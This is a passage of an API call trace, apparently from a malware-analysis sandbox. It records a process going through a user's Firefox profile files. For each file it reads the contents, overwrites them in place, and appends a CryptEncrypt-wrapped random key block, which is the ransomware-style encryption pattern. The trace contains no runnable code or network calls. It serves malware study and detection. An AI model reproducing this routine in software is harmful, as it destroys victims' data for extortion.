(in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0177.370] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index", dwFileAttributes=0x80) returned 1 [0177.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2f6f738 [0177.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x106) returned 0x56c6b8 [0177.374] ReadFile (in: hFile=0x1a40, lpBuffer=0x30d5030, nNumberOfBytesToRead=0x3584, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0x3584, lpOverlapped=0x0) returned 1 [0177.386] SetFilePointer (in: hFile=0x1a40, lDistanceToMove=-13700, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.386] WriteFile (in: hFile=0x1a40, lpBuffer=0x30d85c0*, nNumberOfBytesToWrite=0x3584, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d85c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3584, lpOverlapped=0x0) returned 1 [0177.387] SetFilePointer (in: hFile=0x1a40, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3584 [0177.387] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.387] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.387] WriteFile (in: hFile=0x1a40, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.388] WriteFile (in: hFile=0x1a40, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.388] CloseHandle (hObject=0x1a40) returned 1 [0177.390] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0177.390] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0177.390] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\q2iyO6SZoS7rh3SnwLJY8w==.ico", dwFileAttributes=0x80) returned 1 [0177.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585700 [0177.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x618750 [0177.391] ReadFile (in: hFile=0x1a44, lpBuffer=0x617c30, nNumberOfBytesToRead=0x5e9, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x617c30*, lpNumberOfBytesRead=0x2e1f9bc*=0x5e9, lpOverlapped=0x0) returned 1 [0177.393] SetFilePointer (in: hFile=0x1a44, lDistanceToMove=-1513, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.393] WriteFile (in: hFile=0x1a44, lpBuffer=0x567378*, nNumberOfBytesToWrite=0x5e9, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x567378*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5e9, lpOverlapped=0x0) returned 1 [0177.393] SetFilePointer (in: hFile=0x1a44, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5e9 [0177.393] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.394] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.394] WriteFile (in: hFile=0x1a44, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.394] WriteFile (in: hFile=0x1a44, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.395] CloseHandle (hObject=0x1a44) returned 1 [0177.400] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0177.400] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0177.400] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\EwHNXIWqFLgqXSbz3gaSXQ==.ico", dwFileAttributes=0x80) returned 1 [0177.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585038 [0177.405] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x6188c8 [0177.405] ReadFile (in: hFile=0x1a44, lpBuffer=0x30d5030, nNumberOfBytesToRead=0x1587, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0x1587, lpOverlapped=0x0) returned 1 [0177.411] SetFilePointer (in: hFile=0x1a44, lDistanceToMove=-5511, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.411] WriteFile (in: hFile=0x1a44, lpBuffer=0x30d65c0*, nNumberOfBytesToWrite=0x1587, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d65c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1587, lpOverlapped=0x0) returned 1 [0177.412] SetFilePointer (in: hFile=0x1a44, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1587 [0177.412] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.412] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.413] WriteFile (in: hFile=0x1a44, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.413] WriteFile (in: hFile=0x1a44, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.413] CloseHandle (hObject=0x1a44) returned 1 [0177.414] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0177.415] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0177.415] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\D8tmBHCfnHdW5LQ0G0tfjA==.ico", dwFileAttributes=0x80) returned 1 [0177.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585228 [0177.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x619198 [0177.415] ReadFile (in: hFile=0x1a44, lpBuffer=0x617c30, nNumberOfBytesToRead=0x484, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x617c30*, lpNumberOfBytesRead=0x2e1f9bc*=0x484, lpOverlapped=0x0) returned 1 [0177.416] SetFilePointer (in: hFile=0x1a44, lDistanceToMove=-1156, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.416] WriteFile (in: hFile=0x1a44, lpBuffer=0x567378*, nNumberOfBytesToWrite=0x484, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x567378*, lpNumberOfBytesWritten=0x2e1f9bc*=0x484, lpOverlapped=0x0) returned 1 [0177.417] SetFilePointer (in: hFile=0x1a44, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x484 [0177.417] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.417] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.417] WriteFile (in: hFile=0x1a44, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.417] WriteFile (in: hFile=0x1a44, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.417] CloseHandle (hObject=0x1a44) returned 1 [0177.419] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0177.419] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0177.419] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\d+wy3CvuNcC3WVA6du1bZg==.ico", dwFileAttributes=0x80) returned 1 [0177.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x584f40 [0177.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x618460 [0177.419] ReadFile (in: hFile=0x1a44, lpBuffer=0x56c6b8, nNumberOfBytesToRead=0x18c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56c6b8*, lpNumberOfBytesRead=0x2e1f9bc*=0x18c, lpOverlapped=0x0) returned 1 [0177.420] SetFilePointer (in: hFile=0x1a44, lDistanceToMove=-396, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.420] WriteFile (in: hFile=0x1a44, lpBuffer=0x531498*, nNumberOfBytesToWrite=0x18c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x531498*, lpNumberOfBytesWritten=0x2e1f9bc*=0x18c, lpOverlapped=0x0) returned 1 [0177.420] SetFilePointer (in: hFile=0x1a44, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x18c [0177.420] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.421] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.421] WriteFile (in: hFile=0x1a44, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.433] WriteFile (in: hFile=0x1a44, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.433] CloseHandle (hObject=0x1a44) returned 1 [0177.434] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0177.434] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0177.434] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\CPgBJoau4sGMj94WzxVyBg==.ico", dwFileAttributes=0x80) returned 1 [0177.435] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x5858f0 [0177.435] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x618d30 [0177.435] ReadFile (in: hFile=0x1a44, lpBuffer=0x617c30, nNumberOfBytesToRead=0x5e9, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x617c30*, lpNumberOfBytesRead=0x2e1f9bc*=0x5e9, lpOverlapped=0x0) returned 1 [0177.436] SetFilePointer (in: hFile=0x1a44, lDistanceToMove=-1513, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.436] WriteFile (in: hFile=0x1a44, lpBuffer=0x567378*, nNumberOfBytesToWrite=0x5e9, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x567378*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5e9, lpOverlapped=0x0) returned 1 [0177.436] SetFilePointer (in: hFile=0x1a44, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5e9 [0177.437] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.437] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.437] WriteFile (in: hFile=0x1a44, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.437] WriteFile (in: hFile=0x1a44, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.437] CloseHandle (hObject=0x1a44) returned 1 [0177.439] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0177.439] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0177.439] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\ArNCV1sMCcHDCRx9IKU0ag==.ico", dwFileAttributes=0x80) returned 1 [0177.439] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x5857f8 [0177.439] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x619198 [0177.439] ReadFile (in: hFile=0x1a44, lpBuffer=0x617c30, nNumberOfBytesToRead=0x484, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x617c30*, lpNumberOfBytesRead=0x2e1f9bc*=0x484, lpOverlapped=0x0) returned 1 [0177.440] SetFilePointer (in: hFile=0x1a44, lDistanceToMove=-1156, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.440] WriteFile (in: hFile=0x1a44, lpBuffer=0x567378*, nNumberOfBytesToWrite=0x484, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x567378*, lpNumberOfBytesWritten=0x2e1f9bc*=0x484, lpOverlapped=0x0) returned 1 [0177.441] SetFilePointer (in: hFile=0x1a44, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x484 [0177.441] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.441] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.441] WriteFile (in: hFile=0x1a44, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.441] WriteFile (in: hFile=0x1a44, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.441] CloseHandle (hObject=0x1a44) returned 1 [0177.443] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0177.443] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0177.443] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\index.sqlite", dwFileAttributes=0x80) returned 1 [0177.443] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67850 [0177.443] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578cc8 [0177.445] ReadFile (in: hFile=0x1a48, lpBuffer=0x343a010, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x343a010*, lpNumberOfBytesRead=0x2e1f9bc*=0x40000, lpOverlapped=0x0) returned 1 [0177.463] SetFilePointer (in: hFile=0x1a48, lDistanceToMove=-262144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.463] WriteFile (in: hFile=0x1a48, lpBuffer=0x347a018*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x347a018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x40000, lpOverlapped=0x0) returned 1 [0177.467] SetFilePointer (in: hFile=0x1a48, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x40000 [0177.467] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.467] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.467] WriteFile (in: hFile=0x1a48, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.468] WriteFile (in: hFile=0x1a48, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.469] CloseHandle (hObject=0x1a48) returned 1 [0177.511] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d7cc0 | out: pbBuffer=0x30d7cc0) returned 1 [0177.511] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0177.511] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flashsubdoc-simple.sbstore", dwFileAttributes=0x80) returned 1 [0177.512] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d8500 [0177.512] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x56c6b8 [0177.512] ReadFile (in: hFile=0x1a4c, lpBuffer=0x5e6d80, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e6d80*, lpNumberOfBytesRead=0x2e1f9bc*=0xe8, lpOverlapped=0x0) returned 1 [0177.513] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.513] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5e69c0*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e69c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe8, lpOverlapped=0x0) returned 1 [0177.513] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe8 [0177.513] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.513] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d7cc0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d7cc0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.514] WriteFile (in: hFile=0x1a4c, lpBuffer=0x30d7cc0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7cc0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.514] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.514] CloseHandle (hObject=0x1a4c) returned 1 [0177.518] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0177.518] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0177.518] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flashsubdoc-simple.pset", dwFileAttributes=0x80) returned 1 [0177.518] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x30d6c70 [0177.518] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x6188c8 [0177.518] ReadFile (in: hFile=0x1a4c, lpBuffer=0x2e20198, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20198*, lpNumberOfBytesRead=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0177.519] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.519] WriteFile (in: hFile=0x1a4c, lpBuffer=0x2e20348*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20348*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0177.521] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10 [0177.521] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.521] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.522] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.522] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, 